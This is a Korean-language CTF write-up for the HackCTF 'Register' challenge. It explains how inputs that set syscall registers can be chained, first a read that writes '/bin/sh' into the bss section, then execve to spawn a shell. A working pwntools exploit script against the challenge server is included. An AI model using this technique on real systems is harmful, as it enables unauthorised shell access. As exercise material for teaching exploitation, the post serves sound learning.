HackCTF - Register
2021. 1. 10. 17:10ㆍCTF's Write-up
이를 실행하면
문제 이름처럼 정말 정직하게 register을 받는다.
main함수쪽을 보면 alarm으로 5초 후에 signal을 발생시킨다.
signal이 발생할때 인자들은 system("/bin/sh") or execve("/bin/sh")형식으로 만들어 주면 shell을 획득할 수 있을 것이다.
즉 요약하면 sysrop인데 조금 편하게 풀 수 있는문제이다.
1. read systcall을 이용해서 bss 영역에 "/bin/sh"삽입
2. execve syscall 을 이용해서 bss를 인자로 전달
페이로드는 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3026)
#r = process("./register")
e = ELF("./register")
context.log_level = "debug"
bss = 0x601080+12
shell = "/bin/sh\x00"
def func(a1, a2, a3, a4, a5, a6, a7) :
r.recvuntil(": ")
r.sendline(str(a1))
r.recvuntil(": ")
r.sendline(str(a2))
r.recvuntil(": ")
r.sendline(str(a3))
r.recvuntil(": ")
r.sendline(str(a4))
r.recvuntil(": ")
r.sendline(str(a5))
r.recvuntil(": ")
r.sendline(str(a6))
r.recvuntil(": ")
r.sendline(str(a7))
func(0, 0, bss, 10, 0, 0, 0)
r.send(shell)
func(59, bss, 0, 0, 0, 0, 0)
sleep(5)
r.interactive()
|
cs |
이를 실행시키면

shell 획득이 가능하다 :)
+ 참고로 마지막 sleep(5)는 alarm을 맞춰주기 위해서 넣었다.
'CTF's Write-up' 카테고리의 다른 글
DreamHack - rev-basic-2 (0) | 2021.01.12 |
---|---|
HackCTF - World Best Encryption Tool (0) | 2021.01.11 |
HackCTF - RTC (0) | 2021.01.08 |
DreamHack - simple-ssti (0) | 2021.01.04 |
DreamHack - web-misconf-1 (0) | 2021.01.04 |